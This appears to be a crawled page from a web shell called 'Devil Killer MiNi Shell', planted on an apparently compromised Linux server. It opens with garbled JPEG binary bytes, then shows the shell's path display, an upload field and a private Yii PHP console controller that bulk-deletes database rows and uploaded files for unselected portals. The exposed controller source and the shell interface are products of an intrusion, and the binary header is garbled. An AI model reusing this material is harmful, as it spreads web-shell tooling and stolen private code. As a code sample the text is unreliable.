JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/MockupdatabaseController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use common\models\types\ContactDataType;
use yii\console\ExitCode;

class MockupdatabaseController extends Controller
{    
    use \common\components\traits\DirectoriesFunctions;
    
    public $idsSelectedPortals = [3, 8, 13, 14, 15];
    public $selectedTendersYears = ['2022', '2023'];
    public $addresses = [];
    public $persons = [];
    public $attachmentsSizeThreshold = 1024*1024*15; //15MB
    
    protected $loremIpsumShort = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Feugiat nisl pretium fusce id velit ut. Magna fringilla urna porttitor rhoncus dolor purus non enim praesent.';
    protected $loremIpsumLong = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Feugiat nisl pretium fusce id velit ut. Magna fringilla urna porttitor rhoncus dolor purus non enim praesent. Elit pellentesque habitant morbi tristique senectus et. Tincidunt vitae semper quis lectus. Commodo odio aenean sed adipiscing. Massa massa ultricies mi quis. Nunc sed blandit libero volutpat sed cras ornare. Mus mauris vitae ultricies leo. Et tortor at risus viverra. Elit duis tristique sollicitudin nibh sit. Elit at imperdiet dui accumsan sit. At elementum eu facilisis sed odio morbi. Ante metus dictum at tempor commodo ullamcorper. Interdum velit laoreet id donec.';
    
    protected $debugMode = false;
    
//OK    "advertisements" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "advertisements_categories" 
//OK    "advertisements_categories_has_advertisements_params"
//OK    "advertisements_has_advertisements_params"
//OK    "advertisements_messages"
//OK    "advertisements_messages_attachments" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "advertisements_photos" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "articles" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "articles_attachments" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "articles_categories"
//OK    "articles_has_articles_categories"
//OK    "articles_has_articles_tags"
//OK    "articles_has_portals"
//OK    "articles_photos" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "articles_tags" //TUTAJ WYPADAŁOBY OBSŁUŻYĆ AKTUALIZACJĘ LICZNIKA - MOŻE NA SAM KONIEC....
//OK    "articles_tags_selected"
//OK    "auth_assignment" //USUWAMY WPISY DLA USUNIĘTYCH UŻYTKOWNIKÓW
//OK    "banners" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "banners_reservations" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "books" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "books_attachments" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "books_has_books_subscriptions"
//OK    "books_has_books_tags"
//OK    "books_has_bookstore_categories"
//OK    "books_photos" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "books_promoted" 
//OK    "books_reviews"
//OK    "books_subscriptions"
//OK    "books_subscriptions_attachments" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "books_tags" //TUTAJ WYPADAŁOBY OBSŁUŻYĆ AKTUALIZACJĘ LICZNIKA - MOŻE NA SAM KONIEC....
//OK    "bookstore_discount_codes"
//OK    "bookstore_orders"
//OK    "bookstore_orders_items"
//OK    "bookstore_orders_returns"
//OK    "companies"
//OK    "companies_about_sellers"
//OK    "companies_awards" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "companies_branches" 
//OK    "companies_branches_contact_data"
//OK    "companies_cases" 
//OK    "companies_cases_entries" 
//OK    "companies_categories" 
//OK    "companies_categories2" //TĄ TABELĘ W OGÓLE WYJEBAĆ...
//OK    "companies_changes"
//OK    "companies_complaints_terms"
//OK    "companies_contact_data"
//OK    "companies_correspondence_data"
//OK    "companies_delivery_price_lists"
//OK    "companies_departments"
//OK    "companies_departments_contact_data"
//OK    "companies_documents"
//OK    "companies_documents_files" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "companies_documents_tasks"
//OK    "companies_downloads" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "companies_employees"
//OK    "companies_employees_contact_data"
//OK    "companies_has_business_sectors"
//OK    "companies_has_inquiries"
//OK    "companies_has_languages"
//OK    "companies_has_sales_regions"
//OK    "companies_goods_returns_terms"
//OK    "companies_invoicing_data"
//OK    "companies_leaves"
//OK    "companies_orders"
//OK    "companies_orders_items"
//OK    "companies_orders_sales_distributions"
//OK    "companies_photogalleries"
//OK    "companies_photogalleries_photos" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "companies_presentations"
//OK    "companies_presentations_has_companies_awards"
//OK    "companies_presentations_has_companies_branches"
//OK    "companies_presentations_has_companies_categories"
//OK    "companies_presentations_has_companies_departments"
//OK    "companies_presentations_has_companies_downloads"
//OK    "companies_presentations_has_companies_photogalleries"
//OK    "companies_presentations_has_companies_videogalleries"
//OK    "companies_presentations_has_countries"
//OK    "companies_presentations_has_presentations_tags" 
//OK    "companies_presentations_has_products"
//OK    "companies_presentations_has_regions"
//OK    "companies_presentations_mirroring"
//OK    "companies_presentations_pages" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "companies_presentations_promoted"
//OK    "companies_presentations_tabs"
//OK    "companies_videogalleries"
//OK    "companies_videogalleries_videos"
//OK    "companies_warranties" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "external_websites_changes_monitoring"
//OK    "external_websites_changes_monitoring_has_portals"
//OK    "fairs" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "fairs_attachments" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "fairs_has_articles"
//OK    "fairs_has_fairs_tags"
//OK    "fairs_photogalleries"
//Ok    "fairs_photogalleries_photos" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "fairs_series" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "fairs_series_has_fairs_series_categories"
//OK    "fairs_series_has_portals"
//OK    "fairs_tags" //TUTAJ WYPADAŁOBY OBSŁUŻYĆ AKTUALIZACJĘ LICZNIKA - MOŻE NA SAM KONIEC....
//OK    "inquiries"
//OK    "inquiries_attachments" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "invoices"
//OK    "invoices_items"
//OK    "job_offers"
//OK    "mailings" 
//OK    "mailings_contents" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "mailings_reservations"
//OK    "mailings_reservations_has_portals"
//OK    "operators_has_companies"
//OK    "partners" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "partners_has_portals"
//OK    "portals_ads_info"
//OK    "portals_has_bookstore_categories"
//OK    "portals_has_job_offers_categories"
//OK    "portals_has_operators"
//OK    "portals_has_products_promoted"
//OK    "portals_has_tenders_cpv"
//OK    "portals_has_trainings_categories"
//OK    "presentations_tags" //TUTAJ WYPADAŁOBY OBSŁUŻYĆ AKTUALIZACJĘ LICZNIKA - MOŻE NA SAM KONIEC....
//OK    "products" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "products_attachments" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "products_categories"
//OK    "products_has_products_categories"
//OK    "products_has_products_tags"
//OK    "products_photos" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "products_tags" //TUTAJ WYPADAŁOBY OBSŁUŻYĆ AKTUALIZACJĘ LICZNIKA - MOŻE NA SAM KONIEC....
//OK    "recommended_sites"
//OK    "shopping_address_book"
//OK    "shopping_data_to_account"
//OK    "trainings" 
//OK    "trainings_attachments" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "trainings_dates"
//OK    "trainings_has_portals"
//OK    "trainings_has_trainings_categories"
//OK    "users" //TUTAJ USUNĄĆ PLIKI Z DYSKU !!!
//OK    "users_addresses"
//OK    "users_contact_data"
//OK    "users_has_portals"
//OK    "users_passwords_reset"
//OK    "users_payments"
//OK    "websites",
//OK    "websites_attachments",
//OK    "websites_attachments_translations",
//OK    "websites_has_languages",
//OK    "websites_has_websites_modules",
//OK    "websites_items"
//OK    "websites_items_has_websites_attachments"
//OK    "websites_items_has_websites_pages_categories"
//OK    "websites_items_has_websites_photos"
//OK    "websites_items_translations"
//OK    "websites_menus"
//OK    "websites_menus_translations"
//OK    "websites_pages"
//OK    "websites_pages_categories"
//OK    "websites_pages_categories_translations"
//OK    "websites_pages_has_websites_attachments"
//OK    "websites_pages_has_websites_items"
//OK    "websites_pages_has_websites_photos"
//OK    "websites_pages_has_websites_widgets"
//OK    "websites_pages_translations"
//OK    "websites_photos"
//OK    "websites_photos_translations"
//OK    "websites_templates"
//OK    "websites_templates_modular_subpages"
//OK    "websites_templates_screenshots"
//OK    "websites_translations"
//OK    "websites_widgets"
//OK    "websites_widgets_has_websites_attachments"
//OK    "websites_widgets_has_websites_items"
//OK    "websites_widgets_has_websites_photos"
//OK    "websites_widgets_translations"
        
    
    public function actionClearPostgresqlDb()
    {   
        
        
//        exit;
        
        $idsUsersForDelete = [];
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $idsAdvertisements = Yii::$app->db->createCommand('SELECT id_advertisement FROM advertisements WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->queryColumn();  
        if(!empty($idsAdvertisements)) {
            $idsAdvertisementsMessages = Yii::$app->db->createCommand('SELECT id_message FROM advertisements_messages WHERE id_advertisement IN ('. implode(", ", $idsAdvertisements).')')->queryColumn();
            if(!empty($idsAdvertisementsMessages)) {
                foreach($idsAdvertisementsMessages as $idAdvertisementMessage) {
                    $this->removeDir(Yii::getAlias('@advertisementsMessagesAttachmentsRealPath').'/'.$idAdvertisementMessage.'/', true);
                }
            }            
            
            foreach($idsAdvertisements as $idAdvertisement) {
                $this->removeDir(Yii::getAlias('@advertisementsImagesRealPath').'/'.$idAdvertisement.'/', true);
//                \frontend\models\IndexAdvertisements::deleteRecord($idAdvertisement);
            }
            
            Yii::$app->db->createCommand('DELETE FROM advertisements WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        }
        
        Yii::$app->db->createCommand('DELETE FROM advertisements_categories WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();

        $idsArticles = Yii::$app->db->createCommand('SELECT id_article FROM articles WHERE id_article NOT IN (SELECT DISTINCT id_article FROM articles_has_portals WHERE id_portal IN ('. implode(", ", $this->idsSelectedPortals).'))')->queryColumn(); 
        if(!empty($idsArticles)) {
            foreach($idsArticles as $idArticle) {
                $this->removeDir(Yii::getAlias('@articlesImagesRealPath').'/'.$idArticle.'/', true);
                $this->removeDir(Yii::getAlias('@articlesAttachmentsRealPath').'/'.$idArticle.'/', true);
                $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$idArticle.'/', true);
                $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$idArticle.'/', true);
//                \frontend\models\IndexArticles2::deleteRecord($idArticle);
            }
            
            Yii::$app->db->createCommand('DELETE FROM articles WHERE id_article IN ('. implode(", ", $idsArticles).')')->execute();
        }
        Yii::$app->db->createCommand('DELETE FROM articles_categories WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        Yii::$app->db->createCommand('DELETE FROM articles_tags_selected WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        Yii::$app->db->createCommand('DELETE FROM articles_has_portals WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute(); 

        $banners = Yii::$app->db->createCommand('SELECT id_banner, filename, filename_alternative FROM banners WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->queryAll(); 
        if(!empty($banners)) {
            if(!$this->debugMode) {
//                foreach($idsBanners as $idBanner) {                
//                    Yii::$app->mongodb->createCommand()->delete(\common\models\BannersVisits::collectionName(), ['id_banner' => intval($idBanner)]);
//                }
            }
            foreach($banners as $banner) {
                if(file_exists(Yii::getAlias('@bannersImagesRealPath').'/'.$banner['filename'])) {
                    @unlink(Yii::getAlias('@bannersImagesRealPath').'/'.$banner['filename']);
                }
                if(file_exists(Yii::getAlias('@bannersImagesRealPath').'/'.$banner['filename_alternative'])) {
                    @unlink(Yii::getAlias('@bannersImagesRealPath').'/'.$banner['filename_alternative']);
                }
            }                        
            
            Yii::$app->db->createCommand('DELETE FROM banners WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute(); 
        }  
        
        $bannersReservations = Yii::$app->db->createCommand('SELECT id_reservation, filename FROM banners_reservations WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->queryAll(); 
        if(!empty($bannersReservations)) {
            foreach($bannersReservations as $bannerReservation) {
                if(file_exists(Yii::getAlias('@bannersReservationsImagesRealPath').'/'.$bannerReservation['filename'])) {
                    @unlink(Yii::getAlias('@bannersReservationsImagesRealPath').'/'.$bannerReservation['filename']);
//                    $this->removeDir(Yii::getAlias('@bannersReservationsImagesRealPath').'/'.$bannerReservation['filename'], true);
                }
            }                        
            
            Yii::$app->db->createCommand('DELETE FROM banners_reservations WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute(); 
        }  
        
        $idsSelectedCategories = Yii::$app->db->createCommand('SELECT DISTINCT id_category FROM portals_has_bookstore_categories WHERE id_portal IN ('. implode(", ", $this->idsSelectedPortals).')')->queryColumn(); 
        if(!empty($idsSelectedCategories)) {
            $idsBooks = Yii::$app->db->createCommand('SELECT DISTINCT id_book FROM books_has_bookstore_categories WHERE id_category NOT IN ('. implode(", ", $idsSelectedCategories).')')->queryColumn(); 
            if(!empty($idsBooks)) {
                $idsSubscriptions = Yii::$app->db->createCommand('SELECT id_subscription FROM books_has_books_subscriptions WHERE id_book IN ('. implode(", ", $idsBooks).')')->queryColumn(); ;                
                if(!empty($idsSubscriptions)) {
                    foreach($idsSubscriptions as $idSubscription) {
                        $this->removeDir(Yii::getAlias('@booksSubscriptionsAttachmentsRealPath').'/'.$idSubscription.'/', true);
                    }
                }                
                
                foreach($idsBooks as $idBook) {                    
                    $this->removeDir(Yii::getAlias('@booksImagesRealPath').'/'.$idBook.'/', true);
                    $this->removeDir(Yii::getAlias('@booksAttachmentsRealPath').'/'.$idBook.'/', true);
                    $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@booksContentsImagesDirName').'/'.$idBook.'/', true);
                    $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@booksContentsImagesDirName').'/'.$idBook.'/', true);                    
        
//                    \frontend\models\IndexBooks::deleteRecord($idBook);
                }
                
                Yii::$app->db->createCommand('DELETE FROM books WHERE id_book IN ('. implode(", ", $idsBooks).')')->execute(); 
            }
            Yii::$app->db->createCommand('DELETE FROM bookstore_categories WHERE id_category NOT IN ('. implode(", ", $idsSelectedCategories).')')->execute();            
        }
        
        $idsFairsSeries = Yii::$app->db->createCommand('SELECT id_series FROM fairs_series WHERE id_series NOT IN (SELECT DISTINCT id_series FROM fairs_series_has_portals WHERE id_portal IN ('. implode(", ", $this->idsSelectedPortals).'))')->queryColumn(); 
        if(!empty($idsFairsSeries)) {
            $fairsSeries = Yii::$app->db->createCommand('SELECT id_series, image_filename FROM fairs_series WHERE id_series IN ('. implode(", ", $idsFairsSeries).')')->queryAll();             
            foreach($fairsSeries as $fairsSerie) {                
                if(!empty($fairsSerie['image_filename'])) {
                    $file = Yii::getAlias('@fairsSeriesImagesRealPath').'/'.$fairsSerie['image_filename'];
                    if(!$this->debugMode && file_exists($file)) {
                        $this->deleteVariants($file, \common\models\FairsSeries::getAcceptedSizes());
                        @unlink($file);
                    } 
                }
                
                $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@fairsSeriesContentsImagesDirName').'/'.$fairsSerie['id_series'].'/', true);
                $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@fairsSeriesContentsImagesDirName').'/'.$fairsSerie['id_series'].'/', true);
            }
            $idsFairs = Yii::$app->db->createCommand('SELECT id_fair FROM fairs WHERE id_series IN ('. implode(", ", $idsFairsSeries).')')->queryColumn(); 
            if(!empty($idsFairs)) {
                foreach($idsFairs as $idFair) {
                    $this->removeDir(Yii::getAlias('@fairsImagesRealPath').'/'.$idFair.'/', true);
                    $this->removeDir(Yii::getAlias('@fairsAttachmentsRealPath').'/'.$idFair.'/', true);
                    $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@fairsContentsImagesDirName').'/'.$idFair.'/', true);
                    $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@fairsContentsImagesDirName').'/'.$idFair.'/', true);
        
//                    \frontend\models\IndexFairs::deleteRecord($idFair);
                }
            }
            Yii::$app->db->createCommand('DELETE FROM fairs_series WHERE id_series IN ('. implode(", ", $idsFairsSeries).')')->execute();             
        }  
        
        Yii::$app->db->createCommand('DELETE FROM fairs_series_has_portals WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute(); 
        
        //pobieramy ID firm, które nie znajdują się na wybranych portalach (na podstawie companies_presentations)
        $idsCompanies = Yii::$app->db->createCommand('SELECT id_company FROM companies WHERE id_company NOT IN (SELECT DISTINCT id_company FROM companies_presentations WHERE id_portal IN ('. implode(", ", $this->idsSelectedPortals).')) AND id_company != 1')->queryColumn(); 
        if(!empty($idsCompanies)) {
            $idsDownloads = Yii::$app->db->createCommand('SELECT id_download FROM companies_downloads WHERE id_company IN ('. implode(", ", $idsCompanies).')')->queryColumn();             
            if(!empty($idsDownloads)) {
                foreach($idsDownloads as $idDownload) {
                    $this->removeDir(Yii::getAlias('@downloadsAttachmentsRealPath').'/'.$idDownload.'/', true);
                }
            }
            
            $idsPhotogalleries = Yii::$app->db->createCommand('SELECT id_gallery FROM companies_photogalleries WHERE id_company IN ('. implode(", ", $idsCompanies).')')->queryColumn(); 
            if(!empty($idsPhotogalleries)) {
                foreach($idsPhotogalleries as $idPhotogallery) {
                    $this->removeDir(Yii::getAlias('@companiesPhotogalleriesRealPath').'/'.$idPhotogallery.'/', true);
                }
            }
            
            $products = Yii::$app->db->createCommand('SELECT id_product, id_company FROM products WHERE id_company IN ('. implode(", ", $idsCompanies).')')->queryAll(); 
            if(!empty($products)) {
                foreach($products as $product) {                    
                    $this->removeDir(Yii::getAlias('@companiesImagesRealPath').'/'.$product['id_company'].'/'.Yii::getAlias('@companiesProductsDirName').'/'.$product['id_product'].'/', true);
                    $this->removeDir(Yii::getAlias('@productsAttachmentsRealPath').'/'.$product['id_product'].'/', true);
//                    \frontend\models\IndexProducts::deleteRecord($product['id_product']);
                }
            }
            
            $idsDocuments = Yii::$app->db->createCommand('SELECT id_document FROM companies_documents WHERE id_company IN ('. implode(", ", $idsCompanies).')')->queryColumn(); 
            if(!empty($idsDocuments)) {
                foreach($idsDocuments as $idDocument) {                    
                    $this->removeDir(Yii::getAlias('@companyDocumentsRealPath').'/'.$idDocument.'/', true);
                }
            }
            
            $idsWebsites = Yii::$app->db->createCommand('SELECT id_website FROM websites WHERE id_company IN ('. implode(", ", $idsCompanies).')')->queryColumn(); 
            if(!empty($idsWebsites)) {
                foreach($idsWebsites as $idWebsite) {  
                    $this->removeDir(Yii::getAlias('@websitesImagesRealPath').'/'.$idWebsite.'/', true);
                    $this->removeDir(Yii::getAlias('@websitesAttachmentsRealPath').'/'.$idWebsite.'/', true);
                    $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@websitesDirName').'/'.$idWebsite.'/', true);
                    $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@websitesDirName').'/'.$idWebsite.'/', true);
                }
            }
            
            $idsWebsitesTemplates = Yii::$app->db->createCommand('SELECT id_template FROM websites_templates WHERE id_company IN ('. implode(", ", $idsCompanies).')')->queryColumn(); 
            if(!empty($idsWebsitesTemplates)) {
                foreach($idsWebsitesTemplates as $idWebsitesTemplate) {  
                    $this->removeDir(Yii::getAlias('@websitesImagesRealPath').'/'.$idWebsitesTemplate.'/', true);
                }
            }
            
            foreach($idsCompanies as $idCompany) {
                $this->removeDir(Yii::getAlias('@companiesImagesRealPath').'/'.$idCompany.'/', true);                
                $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/', true);
                $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/', true);
                $this->removeDir(Yii::getAlias('@mailingsUrl').'/'.$idCompany.'/', true);
                $this->removeDir(Yii::getAlias('@companiesWarrantiesAttachmentsRealPath').'/'.$idCompany.'/', true);
                
//                if(!$this->debugMode) {
//                    \common\models\Emails::deleteAll(['id_company' => $idCompany]);        
//                    \common\models\CompaniesOrdersArchive::deleteAll(['id_company' => $idCompany]);
//                }                
            }
            
//            $idsSelectedPresentations = Yii::$app->db->createCommand('SELECT id_presentation FROM companies_presentations WHERE id_company IN ('. implode(", ", $idsCompanies).') AND id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->queryColumn(); 
//            if(!empty($idsSelectedPresentations)) {    
//                $idsPresentationsForDelete = Yii::$app->db->createCommand('SELECT id_presentation FROM companies_presentations WHERE id_presentation NOT IN ('. implode(", ", $idsSelectedPresentations).')')->queryColumn(); 
//                
//                if(!empty($idsPresentationsForDelete)) {
//                    foreach($idsPresentationsForDelete as $idPresentationForDelete) {
////                        \frontend\models\IndexPresentations::deleteRecord($idPresentationForDelete);
//                    }
//                }
//                
//                Yii::$app->db->createCommand('DELETE FROM companies_presentations WHERE id_presentation NOT IN ('. implode(", ", $idsSelectedPresentations).')')->execute();
//            }
            
            $idsInquiries = Yii::$app->db->createCommand('SELECT id_inquiry FROM inquiries WHERE id_company IN ('. implode(", ", $idsCompanies).')')->queryColumn(); 
            if(!empty($idsInquiries)) { 
                foreach($idsInquiries as $idInquiry) {                    
                    $this->removeDir(Yii::getAlias('@inquiriesAttachmentsRealPath').'/'.$idInquiry.'/', true);
                }
                Yii::$app->db->createCommand('DELETE FROM inquiries WHERE id_inquiry IN ('. implode(", ", $idsInquiries).')')->execute();
            }
            
            if(!empty($idsWebsitesTemplates)) {
                Yii::$app->db->createCommand('DELETE FROM websites_templates_modular_subpages WHERE id_template IN ('. implode(", ", $idsWebsitesTemplates).')')->execute(); 
                Yii::$app->db->createCommand('DELETE FROM websites_templates_screenshots WHERE id_template IN ('. implode(", ", $idsWebsitesTemplates).')')->execute(); 
                Yii::$app->db->createCommand('DELETE FROM websites_templates WHERE id_template IN ('. implode(", ", $idsWebsitesTemplates).')')->execute();
            }
            
            if(!empty($idsWebsites)) {                
                $idsWebsitesAttachments = Yii::$app->db->createCommand('SELECT id_attachment FROM websites_attachments WHERE id_website IN ('. implode(", ", $idsWebsites).')')->queryColumn(); 
                if(!empty($idsWebsitesAttachments)) {
                    Yii::$app->db->createCommand('DELETE FROM websites_attachments_translations WHERE id_attachment IN ('. implode(", ", $idsWebsitesAttachments).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_attachments WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute(); 
                }
                
                $idsWebsitesPhotos = Yii::$app->db->createCommand('SELECT id_photo FROM websites_photos WHERE id_website IN ('. implode(", ", $idsWebsites).')')->queryColumn(); 
                if(!empty($idsWebsitesPhotos)) {
                    Yii::$app->db->createCommand('DELETE FROM websites_photos_translations WHERE id_photo IN ('. implode(", ", $idsWebsitesPhotos).')')->execute();
